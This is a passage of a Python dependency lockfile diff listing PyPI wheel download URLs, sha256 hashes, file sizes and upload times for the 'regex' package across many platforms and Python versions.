"https://files.pythonhosted.org/packages/ec/99/eae371ca63f7ea1f1eac025021527adb57ce3a4b67ff608b896fd31ea447/regex-2026.9.29-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fb41211d2333eb930a51e0546a65999761cf1f572a4da56ef9b8a62966c06f2", size = 797643, upload-time = "2026-09-29T00:45:58.746Z" }, + { url = "https://files.pythonhosted.org/packages/dc/26/9e4f158459e37e41633c96f49766a465f801c5daba9507260609ed76d783/regex-2026.9.29-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:edf06545875f3efa31560d94121e95c7fd70d98b1dfedc0157097d79b13b52ea", size = 797591, upload-time = "2026-09-29T00:46:00.2Z" }, + { url = "https://files.pythonhosted.org/packages/86/60/5e1c5c6e85132e757ae77bd7693f1809046edb2c8853658c9200f4c8593c/regex-2026.9.29-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6398d5145689503412cc1748895242598d8846b8967b851133b20dc2ed1e21e8", size = 774874, upload-time = "2026-09-29T00:46:01.491Z" }, + { url = "https://files.pythonhosted.org/packages/e5/13/301b394f32a8db86ae3280533c9186229595fed766376f18e87959f92f96/regex-2026.9.29-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:45010bcfe66df41522d56c9b6114e87ecc597a08970ff6a2ced24415c141ae5f", size = 780168, upload-time = "2026-09-29T00:46:02.817Z" }, + { url = "https://files.pythonhosted.org/packages/f6/27/0c647127db32760b2dfc4c38da9ca509a3c4a8d3d93a586121a10fef2701/regex-2026.9.29-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5758353650079898dc1b2b0e95aa51fa23a30d020e06f62c430dd08ee56cdd8", size = 856604, upload-time = "2026-09-29T00:46:04.152Z" }, + { url = "https://files.pythonhosted.org/packages/4f/18/cac15fb2829c33218ececf76333b66869a96e4f973480ec32494921750f0/regex-2026.9.29-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:6f7121a8914ed13fcfe2099f895341bfb789f004d4c5a0bdece8fa667da10849", size = 760602, upload-time = "2026-09-29T00:46:05.794Z" }, + { url = "https://files.pythonhosted.org/packages/b8/55/967676e4089a25d5f54b9d62522f9fe09b87677d1db58f207888d4ccfbe3/regex-2026.9.29-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:b9d74e4eee9ddb64c2e92d5d61472c59c21684c059eb7b68767be9628e977859", size = 846830, upload-time = "2026-09-29T00:46:07.258Z" }, + { url = "https://files.pythonhosted.org/packages/f1/8d/bb4165d61860ed443da5fb0fafe629c1ee9202526394eead7925bdee2be4/regex-2026.9.29-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:143533cc4b6fbc5b95aca0a5b8d541088d374831593def000ec89322c220221d", size = 785445, upload-time = "2026-09-29T00:46:08.89Z" }, + { url = "https://files.pythonhosted.org/packages/86/a6/a5cfc2560e063f8e6871373d3b719f573d7e7fcaa09db43e7c8aaeb51bd5/regex-2026.9.29-cp310-cp310-win32.whl", hash = "sha256:b84f186a7f0536fe4ff9a9fa12d06d007b9b71d4b5352ddcc41f59ad6522a312", size = 268950, upload-time = "2026-09-29T00:46:10.331Z" }, + { url = "https://files.pythonhosted.org/packages/0c/f6/b127312ebc8092357f435c9e4594fd8cf50abb85f8b4b16ab8d262abab2a/regex-2026.9.29-cp310-cp310-win_amd64.whl", hash = "sha256:23ae6fdad9e63e54038f5ef78aba2933faca61e24d432786589e737bc5522ebb", size = 280629, upload-time = "2026-09-29T00:46:11.638Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e4/ab36f3c26f2374d16d525dd5a7fb4997f3c6e6bb7c6722821b84f9ea35b1/regex-2026.9.29-cp310-cp310-win_arm64.whl", hash = "sha256:c0094897d7d01f184b2d7fe8c56c66d64efe01b31f4b7d34205b391387df1111", size = 279407, upload-time = "2026-09-29T00:46:13.248Z" }, + { url = "https://files.pythonhosted.org/packages/e8/6b/6dea87689c3a06a6e79d254bf824e6f3e3d724b5ba027c6112559aa6cd2c/regex-2026.9.29-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6abb75ab16bc3281714a5b99548a2225db70dba1f995f6d7f7419b76eb5a8fbe", size = 495413, upload-time = "2026-09-29T00:46:14.51Z" }, + { url = "https://files.pythonhosted.org/packages/3a/a5/0c791a0e83ad1013d262c13247c4c77e0f4a8d05bdc167df96aba6681c0d/regex-2026.9.29-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b7b893976e7fe42053da64f2aa27239c24252fd2ec6df471e1be197c0addc3b1", size = 295145, upload-time = "2026-09-29T00:46:16.292Z" }, + { url = "https://files.pythonhosted.org/packages/b1/07/9bf3607d8d13a12e436ab9d63f9791e10706827d535695b23964ad79fd79/regex-2026.9.29-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:066d0e3dbfdd739bce2bf8c2a41dd16f73e3d8adc2eb06dd803a36a307f56075", size = 292123, upload-time = "2026-09-29T00:46:17.646Z" }, + { url = "https://files.pythonhosted.org/packages/64/6b/32c2e6fc617e1d3f247e250fea31a9a35b1265bd32f585968aa13b9999b9/regex-2026.9.29-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7020ed44df30b3aa492c00ee3b52d0548c1f30c2c6c5bb13ae897680900d3413", size = 799537, upload-time = "2026-09-29T00:46:18.976Z" }, + { url = "https://files.pythonhosted.org/packages/bf/72/f041177f3c7a4606f7c81a95fe7eea03e2a0c4e8bff9e439a01432cbc9f2/regex-2026.9.29-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ae4613d7d9dda60fcba95f846cc6f808017f1843f392cf9daad14a6534493d71", size = 873255, upload-time = "2026-09-29T00:46:20.684Z" }, + { url = "https://files.pythonhosted.org/packages/d0/4e/a78948e11dd715e0e46716c2e0f3404b3fe6a44e2a2e9abdc7d965cab2b3/regex-2026.9.29-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bec37990e3d6121f29ecfb594bd8f1bf009e9f7926daba2e50e3b27d3892a783", size = 914570, upload-time = "2026-09-29T00:46:22.599Z" }, + { url = "https://files.pythonhosted.org/packages/8a/70/aa08d1d2b294894b365e5f8ba5380fe3f8546acdb81f10639dfd74209c37/regex-2026.9.29-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:612b709381c0355b70d89cdb51b7f670591ed5cbbc0e3b5337488019dc667b65", size = 804978, upload-time = "2026-09-29T00:46:23.981Z" }, + { url = "https://files.pythonhosted.org/packages/21/32/1b03534c4715aca3b564416d28d518083ed4dab3bc913267600d2256140d/regex-2026.9.29-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a760da040b47767b4b873adfb7c3b691e9ba2fc60f113f9d0b88f1a62f323e85", size = 779297, upload-time = "2026-09-29T00:46:25.318Z" }, + { url = "https://files.pythonhosted.org/packages/76/a7/378f6f558d9e4444af315a307c5953565a511d1e3666f1bb7bdc82012b6b/regex-2026.9.29-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:49ee178ca31c94621294bf9b8b676a92a2e6bba8af0529591753719e57edb621", size = 786961, upload-time = "2026-09-29T00:46:26.963Z" }, + { url = "https://files.pythonhosted.org/packages/59/13/79f0b1846f5f342f92ddbd4b27b18bcb86da96d902c1a0be26520bde98d7/regex-2026.9.29-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:5eeb8edc6110d9194a4d0d54610f64c37a31c605b5dbb7e407fc6ec7fa34a4a1", size = 863234, upload-time = "2026-09-29T00:46:28.58Z" }, + { url = "https://files.pythonhosted.org/packages/97/19/05af70dec9f2eed6ba34e08d2dcc6a48e7ae5e307659d5fe4201a5d7bbee/regex-2026.9.29-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:ccb64d887a9db1cd76dbc0f92051a1a478a2a67e7f56c62d915cb881d7734704", size = 766487, upload-time = "2026-09-29T00:46:29.941Z" }, + { url = "https://files.pythonhosted.org/packages/01/e1/9c7486d4afe8fdd1fe0ad60139f8aa91427381f409af6a29b609d8fdcb3a/regex-2026.9.29-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9e4482589065c8ecd761cff522dcd85f2d39e62f551e37e025d1c7d54772def3", size = 854792, upload-time = "2026-09-29T00:46:31.358Z" }, + { url = "https://files.pythonhosted.org/packages/26/c7/49d008ff5f741d9a9799d7315556f3a12b983ff0fcd2cdfb62904bedafbf/regex-2026.9.29-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d60030baaa7bfbb02d650c126cdcddcb6e33dbff14d819434c8fa2fdcaeeeba5", size = 793050, upload-time = "2026-09-29T00:46:32.775Z" }, + { url = "https://files.pythonhosted.org/packages/cb/a1/46ba549e65562ca04608b24179b8a7bb6f146ae0e7c6d7f5e70f3339c8ba/regex-2026.9.29-cp311-cp311-win32.whl", hash = "sha256:18ae8eed4526e35bdb754d61562b90bf5c00a67fdcf3cc1380dd59597486631b", size = 268940, upload-time = "2026-09-29T00:46:34.179Z" }, + { url = "https://files.pythonhosted.org/packages/4d/4a/aab232183c70fdcf77bcf0c51819da02ec522e393e6a0bf00bcf2142e21f/regex-2026.9.29-cp311-cp311-win_amd64.whl", hash = "sha256:1043aedf5917caa861bcb25a9c11460049656bdf0017a90a309fa8f255467725", size = 280641, upload-time = "2026-09-29T00:46:35.484Z" }, + { url = "https://files.pythonhosted.org/packages/33/b1/7c05954af0f51de376df2ba97f7f78a8b79334c7e5b3d2d9f2aead1f4d3d/regex-2026.9.29-cp311-cp311-win_arm64.whl", hash = "sha256:352cf115a810b357caa35193ab656ecf5ef41056855e82f292c99e8514f8d954", size = 279411, upload-time = "2026-09-29T00:46:37.193Z" }, + { url = "https://files.pythonhosted.org/packages/84/48/3fdcde9a0baa84d7d25571223265d6e434e114763b438601d54a8028bf3e/regex-2026.9.29-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:dc79d36d0618752265f0d575915bdc5c5130ecb9c9f6b3bcefeae32e4bdfafcf", size = 497903, upload-time = "2026-09-29T00:46:38.938Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1c/4ee3e97c76f53940488dfe7a7e18705e78daac8cd7fb161d246b9e328449/regex-2026.9.29-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3a21a9509d0ee88e7a70e1ad228cd2f0e0fd1e187458db132e8a8d18c97daf9d", size = 296416, upload-time = "2026-09-29T00:46:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/37/14/f3f0ba083d2094392d5eabf56db5ea6ba469fd6e927afd187042054ea68a/regex-2026.9.29-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f57dc6b8fef170f105d2cf5cdce254f47b137d7755086cf7050f47e16582abba", size = 293633, upload-time = "2026-09-29T00:46:41.959Z" }, + { url = "https://files.pythonhosted.org/packages/c9/72/67e7a8ce17f1aea49df215564048efb49cc8c2b31a0e0fc30f36838f8516/regex-2026.9.29-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f93bc1c3486ef3747e07c9d7c1d0a147b8fbaab975f80e348aed6f71309dfaca", size = 805885, upload-time = "2026-09-29T00:46:43.373Z" }, + { url = "https://files.pythonhosted.org/packages/f6/78/25436bcfd4d2260b4b4090094d55d7ab53ec8a1ab4865a0b8bcb33c7d5c0/regex-2026.9.29-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9e1d3a4cb7993b708f0ada8d0c84590efd853f169e7147d2202c9da503180242", size = 878344, upload-time = "2026-09-29T00:46:45.328Z" }, + { url = "https://files.pythonhosted.org/packages/97/e6/a09ec3a23ae41d6179880e67f0aace9284b2d95f2d7b326eff203f8eec5e/regex-2026.9.29-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:dabee8f4935e731fb46b2a3091bdda0d3d94b3bbfb907d2b4f12eefce4009619", size = 919181, upload-time = "2026-09-29T00:46:47.041Z" }, + { url = "https://files.pythonhosted.org/packages/26/83/d2fbd2e4e3afb1167daa825187d196f313cbaa1a4768f311fb041bb0e3d2/regex-2026.9.29-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:39ab5894d971f9ac68baa6eca5c50387db579cfcacf36ae8df3feceb1815e6d0", size = 807783, upload-time = "2026-09-29T00:46:48.894Z" }, + { url = "https://files.pythonhosted.org/packages/46/0b/eb429a7016610d44fc89a597163f8c9127505f0d7dc724dc9effbb6a3ac0/regex-2026.9.29-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c1a9a6651197fbed6f0212591418b9def774fc3f8324f78d1bf0e6a63e5f8aa1", size = 783465, upload-time = "2026-09-29T00:46:50.64Z" }, + { url = "https://files.pythonhosted.org/packages/1b/07/58a3c0153c7476898430f6a7cf3d9062a1d17fbea4f43399ecaf411c7b4c/regex-2026.9.29-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:87fb80cbe3557e27e7b28b995c2b2eedf689b8886f941ab93e0e288f0976518a", size = 793519, upload-time = "2026-09-29T00:46:52.396Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e8/161b94d39164520e21a7befe0245569bf7fda4c7cf1fc4e2df2b5def49da/regex-2026.9.29-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3c5c2ef13797466aa64170cbb66ad98a32351dd4127694cea7199f80f213750d", size = 869293, upload-time = "2026-09-29T00:46:54.128Z" }, + { url = "https://files.pythonhosted.org/packages/8f/07/3b02ed829aa2decdc1955d222bd1e2f99d1c8bb4873bbb9a66b2f0a36bff/regex-2026.9.29-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:59b49507f47479e299a9e1bc41b5cb83a7afda0540625f1dbae886615978acbf", size = 770239, upload-time = "2026-09-29T00:46:56.106Z" }, + { url = "https://files.pythonhosted.org/packages/42/5b/ba61f6fe062eb8562e742367d177bb75370434138ef6c9d2a27114f8d613/regex-2026.9.29-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:0dd8af32e9f7b56b7f95cc1fd79b23054c3bdc172392ae560acc24d57b7ffe71", size = 861973, upload-time = "2026-09-29T00:46:57.665Z" }, + { url = "https://files.pythonhosted.org/packages/cc/27/767259b20e8a842948990f5e99138d6c077248fd42f8b5468b1d9ca4b814/regex-2026.9.29-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:db5e82ba15c142425b8406690032df89e39cca4a2e8afbbb9a3d84edc2373ac3", size = 796470, upload-time = "2026-09-29T00:46:59.236Z" }, + { url = "https://files.pythonhosted.org/packages/a0/05/2566c4ba849b68a8ab81a6bf428fa79d20aae7ddee83979103c0381df254/regex-2026.9.29-cp312-cp312-win32.whl", hash = "sha256:d0c3082bf79bcd6a614d55916590ad4b8f93200e10b97f463ea5d9d07c9b5f23", size = 269327, upload-time = "2026-09-29T00:47:01.135Z" }, + { url = "https://files.pythonhosted.org/packages/93/19/489bc8db91196381c935752df01ba3f607140daece33b78d88573f028e64/regex-2026.9.29-cp312-cp312-win_amd64.whl", hash = "sha256:fdd88ed5e20b1bcdd234421e454962c971aa44b653bdb7f1ea9ef683e90fb649", size = 280334, upload-time = "2026-09-29T00:47:04.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/47/fb88ba779d0e5e7d4b0ec1aceeb13845948a2cb876bd572a2d1dfdba090b/regex-2026.9.29-cp312-cp312-win_arm64.whl", hash = "sha256:4fe97894d1b306c919b4e50def1e6f6c522f4d03a7283811f4d108f1ce5d3ac2", size = 279614, upload-time = "2026-09-29T00:47:06.541Z" }, + { url = "https://files.pythonhosted.org/packages/79/d5/6080f7d1a6e7e36aa720f806ac93c035ba39c209ae6cc510e8ef4c0279c6/regex-2026.9.29-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f1a0d5117230dd46b399a30a38afa44f79c99f3168988fdc4f425c3f928b39df", size = 497622, upload-time = "2026-09-29T00:47:08.251Z" }, + { url = "https://files.pythonhosted.org/packages/00/71/c87fc7a2e21a42f9d57489db32951c37eef56d153840459a80d464f0321d/regex-2026.9.29-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f0fe9834e5aeccaf19a0d8feb296d66a24be1a7c9922002f842a682cd5abb787", size = 296281, upload-time = "2026-09-29T00:47:09.764Z" }, + { url = "https://files.pythonhosted.org/packages/11/9e/aa0f4cde3bc4688c1d58b0cd8415edd708339bc0bc401a195b0b1e8c8f0c/regex-2026.9.29-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c90fcf7804ea0a54b896ce0f2b9565350220b8d4890fd0db461a476a4c687963", size = 293472, upload-time = "2026-09-29T00:47:11.723Z" }, + { url = "https://files.pythonhosted.org/packages/90/d4/e835c487850ed922a8d6074f953b888c8ea99775c76b9ed5f8a4d72eab92/regex-2026.9.29-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e11edba5bc344a32b029a7af9d4b3173982dd79eeafa0b9dbd787364414b0509", size = 805966, upload-time = "2026-09-29T00:47:13.235Z" }, + { url = "https://files.pythonhosted.org/packages/2c/57/ba8809847fbae8d2cbc71367c6ded510a7ec88bf52493c65efc1acf4effb/regex-2026.9.29-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:bb90e7177944b6684738c1fc36aabd2dd00d1de3be7dbe09f91e196f1bc0dc81", size = 878346, upload-time = "2026-09-29T00:47:14.877Z" }, + { url = "https://files.pythonhosted.org/packages/1a/52/e3da19fc3cc15ef67ab67e121e87887c3bccfdb683a7a9ec557c460ca5b7/regex-2026.9.29-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d06fcdecc10fc7954d7c8f27a03c96055fe525274dc84a7b0dbdc3d6b9e03dab", size = 919250, upload-time = "2026-09-29T00:47:16.622Z" }, + { url = "https://files.pythonhosted.org/packages/9a/8e/c1ed81f55f992f6aa0b699a592a50c1ce9e6d44ff1aee2c14c0537dcef9c/regex-2026.9.29-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d49c18f1ea294cf4adde2e5ac256e98c82ea9d708462ce4bf799dffa7cfe8a2c", size = 807902, upload-time = "2026-09-29T00:47:18.268Z" }, + { url = "https://files.pythonhosted.org/packages/ad/bc/5a6886eb470e41040e21e05b75024a18b6ebfe7ea400b72094a60f949101/regex-2026.9.29-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3e778bfccd63075167709136afbc251c1f683758d5bf49c803c60ac3f894ce6b", size = 783514, upload-time = "2026-09-29T00:47:19.921Z" }, + { url = "https://files.pythonhosted.org/packages/cb/52/6d951d453b023c6edb880f1ba474291b53b8ce1cc438b96a9db6d791d991/regex-2026.9.29-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:686ac5350fceae63830bb98805fcb8039325bf4c06d9f6f048ff65229d5bffa5", size = 793466, upload-time = "2026-09-29T00:47:21.552Z" }, + { url = "https://files.pythonhosted.org/packages/99/b9/d5a41adc08360f5eee0dc4846c578f002366947211fc8af5a69a64ee7b9f/regex-2026.9.29-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:26ec4ccce55aa533fbd603d08911b01101a8fcfec987845ac3ae2c7087b2bde3", size = 869464, upload-time = "2026-09-29T00:47:23.276Z" }, + { url = "https://files.pythonhosted.org/packages/4b/32/d76c9d91f5d798e2e9e67f6f85ec4ae35445ac425f7454797311cecb80ca/regex-2026.9.29-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:a655d34b2a6943af32401f3d94f72e9d731f6ad16285815550bf2b4ee69d420a", size = 770278, upload-time = "2026-09-29T00:47:25.193Z" }, + { url = "https://files.pythonhosted.org/packages/24/00/aeebdb540c620a0f7317f6d6fad80a47729ecf0599a24b5c34ec155351f5/regex-2026.9.29-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:0c992c19cd45058a4b92f68f139c93db168b48fb1f322c9a7cd620806afb6b51", size = 861949, upload-time = "2026-09-29T00:47:27.005Z" }, + { url = "https://files.pythonhosted.org/packages/12/62/d0314bcedfd3586197e4596931fa220260eb2385bf53184e5b9ae67db24b/regex-2026.9.29-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ebb8912f565b8cdbbf27debfe00df04202c20e2f651b9e32767930c5eace3621", size = 796602, upload-time = "2026-09-29T00:47:29.233Z" }, + { url = "https://files.pythonhosted.org/packages/ae/c7/d5a8c13a613facb03e0fb55c1ebaaf7bb35d8e2c1abe8bef8dca809fc1d9/regex-2026.9.29-cp313-cp313-win32.whl", hash = "sha256:4d7d93613b01b0199961330e49cfc52d479b3d5776c56c691db31130c0a07d91", size = 269306, upload-time = "2026-09-29T00:47:31.14Z" }, + { url = "https://files.pythonhosted.org/packages/80/a7/bf93a3a6afa5f7bc16b7afb94ae581b01cae620b8ad56bd8f9572a985959/regex-2026.9.29-cp313-cp313-win_amd64.whl", hash = "sha256:61956f074ecd123f55adca68ee3eab46e6a07ad3f8e64e6db95dfacb444f55c4", size = 280307, upload-time = "2026-09-29T00:47:32.709Z" }, + { url = "https://files.pythonhosted.org/packages/b2/7d/388274e53605a86297f433a08102a7bbdcf9379d47683d307ccaefd88e2c/regex-2026.9.29-cp313-cp313-win_arm64.whl", hash = "sha256:bfc71e6d970419c1309b3640305298643e2a734cad3f7cfb6d2ddee4175ab53d", size = 279599, upload-time = "2026-09-29T00:47:34.674Z" }, + { url = "https://files.pythonhosted.org/packages/93/1f/d9dc6f02f569625faf67a4daec926cd5023472dcd69bb44286dccd5a5ab3/regex-2026.9.29-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:957bb708e8057ab1649ba566456429d691ec9b90d1c9ad1af1ba7ffbbeaf05f2", size = 497598, upload-time = "2026-09-29T00:47:36.541Z" }, + { url = "https://files.pythonhosted.org/packages/9c/83/9b693a3fd1451381e812031a8961ec5b3b8f0c8cc6871f14c5223642804d/regex-2026.9.29-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c9b602fae1e00b7c035d661ce85575365719192a7b46784bd71cf64c68053aa0", size = 296250, upload-time = "2026-09-29T00:47:38.233Z" }, + { url = "https://files.pythonhosted.org/packages/dd/5f/52bc2abc3fef040cd9de76ab29c918d6a717a454ae2b9dd7938b0c95656d/regex-2026.9.29-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0166844493626c5015c6088ee15c9ca2fd060ca15b7641d1657da6a58432ae33", size = 293518, upload-time = "2026-09-29T00:47:39.957Z" }, + { url = "https://files.pythonhosted.org/packages/dc/fc/cf50671215ee0057046980b4571ef8646a005819bb67f0957e779ed107a5/regex-2026.9.29-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b97a38fb4c732b6832db6bf108963adbcd82ef1268ba2025dce390f45af75efa", size = 806037, upload-time = "2026-09-29T00:47:41.676Z" }, + { url = "https://files.pythonhosted.org/packages/14/4b/dddef8fc15c63e4347cc9efb138d0cd306f30e6c98acbcc81a8f780083b9/regex-2026.9.29-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a540abfab208e1b7ef2df231c40ef3b6cbb30a0aad6204e9b6a81c10a6794628", size = 878881, upload-time = "2026-09-29T00:47:43.755Z" }, + { url = "https://files.pythonhosted.org/packages/9f/cb/38daabed32d28f7e58a06e9344ce00dc67952e9996bc578ed6a29fe1240e/regex-2026.9.29-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ddfa987262763c3c22a8367d2a49c244b018a74c3a8e3ab1a864119ad45c5633", size = 918684, upload-time = "2026-09-29T00:47:45.594Z" }, + { url = "https://files.pythonhosted.org/packages/a9/4d/041d9458a645fee4fce4d642a89d27271a3cfcd91095104f6dde44da70bf/regex-2026.9.29-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2f7f7aa47b229f2b39a2ae2596d2ad5625d77b5eb9856fac2dab3eb506cdd0a0", size = 807176, upload-time = "2026-09-29T00:47:47.372Z" }, + { url = "https://files.pythonhosted.org/packages/bf/c4/4383eed7aa5aef67616cb1b3f3ad06b7c624c4e6cced48630cd5ce133d85/regex-2026.9.29-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d9b77b25b4f395f92de6099ab08e8ae2bc7e51dfe157f22900902243a5cc90c7", size = 784315, upload-time = "2026-09-29T00:47:49.518Z" }, + { url = "https://files.pythonhosted.org/packages/5c/a6/0086ad31cebb183c637d3198547075aa493afde308e1ff61fccccb29ba6e/regex-2026.9.29-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:34b6925af9853bf461950e6508910f179fd6e9b1a7ec8548e069606b7e51a26b", size = 793748, upload-time = "2026-09-29T00:47:51.279Z" }, + { url = "https://files.pythonhosted.org/packages/d5/a0/f9005cba3f629a859573fc5d1224ea4e1f97919ec8581d018e03a351a604/regex-2026.9.29-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:addd736a0547d553283adaf4e05d7104e7f2c7b0b092e9b4d28756825f14531f", size = 870302, upload-time = "2026-09-29T00:47:53.368Z" }, + { url = "https://files.pythonhosted.org/packages/01/4f/e1a3e46bb5315a4e18b01a990e7a28e2a16595609d50c442baf2815a3c65/regex-2026.9.29-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:fe3fa1dd453ed5c7f5ea23a26218329790ed7197a99b90e94330e313959a7f52", size = 770299, upload-time = "2026-09-29T00:47:55.606Z" }, + { url = "https://files.pythonhosted.org/packages/2c/fe/f303b4acfda44e1ff1379368748c1ef2dad04a6a8e9c0ecbc970b19d97ca/regex-2026.9.29-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:0cc63b5e47c12a48d90c7e9d7de6a035dd14f62868aaedbb4e0ff8ba2b8bfe7b", size = 861570, upload-time = "2026-09-29T00:47:57.617Z" }, + { url = "https://files.pythonhosted.org/packages/60/b6/b4f7e99249f596017c60ccad5faf9310fc8e3e59bb2244940a90a1b0bdff/regex-2026.9.29-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:724184b4aafed865e4f13ca313fdcb43024300c028ec67319cfa16847d84685e", size = 795967, upload-time = "2026-09-29T00:47:59.922Z" }, + { url = "https://files.pythonhosted.org/packages/fb/d3/fc865a4638d9f6762192b6bab5b7aa1f33a90e9e99578c2e111e2a63c8c3/regex-2026.9.29-cp314-cp314-win32.whl", hash = "sha256:c6c8fabf1dafc1f1ddcbb67896d3f93efb092e8c4b6322d7389b944e76a484e5", size = 274758, upload-time = "2026-09-29T00:48:01.8Z" }, + { url = "https://files.pythonhosted.org/packages/31/e2/c2b466924ccbeb874862968ca638051b15a8fd29d994a0e99004a5cbf78e/regex-2026.9.29-cp314-cp314-win_amd64.whl", hash = "sha256:1c2a0026062abcc321a53db4a185ceba0b59a66b5d37b0808917a88b55a5257f", size = 283817, upload-time = "2026-09-29T00:48:03.614Z" }, + { url = "https://files.pythonhosted.org/packages/c6/42/ea0f8dbaa924fa75c6338935eaee2f44dab369b27f02db1e03d74344b049/regex-2026.9.29-cp314-cp314-win_arm64.whl", hash = "sha256:121a76a0985db80ceae9e171c337f8c927868e37d01b54e3ce87bc87f9c6a208", size = 283663, upload-time = "2026-09-29T00:48:05.624Z" }, + { url = "https://files.pythonhosted.org/packages/44/48/d58e5081119f5c223bbb37d2340acde3d069e1df8e8cd166c37502eee4da/regex-2026.9.29-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:e31f72490b7c12f7790e1e25c3afffd20503ee1bfb43461d7838b871ff244b19", size = 501393, upload-time = "2026-09-29T00:48:07.833Z" }, + { url = "https://files.pythonhosted.org/packages/72/3c/c49945287d4f9efee7d41f98072f8ad880efb8f430595a612fbdea996a4e/regex-2026.9.29-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:80ea96f5c1a30bf09007d48466521d9c294bebe197c708c3359096e3e3691632", size = 298237, upload-time = "2026-09-29T00:48:09.684Z" }, + { url = "https://files.pythonhosted.org/packages/f9/1f/688cb61c3d4cf7bcc1ed444b5cc49399eba3e51c469ae285cf87fea3022e/regex-2026.9.29-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:554bffadcbcb6d5f4e5fb10a61cc52084b9a63d1dab5f10bcd2c4343972e8e2c", size = 295936, upload-time = "2026-09-29T00:48:11.454Z" }, + { url = "https://files.pythonhosted.org/packages/26/a3/de43ac6b877b7d09c19a3a426b1bd5acdd209eaaf68f406466f80439ccf6/regex-2026.9.29-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:864e9b87ac33c3fb9fb4ad48166d4fdb579c351d5c77deb0d34bccb36a775cd9", size = 816905, upload-time = "2026-09-29T00:48:13.321Z" }, + { url = 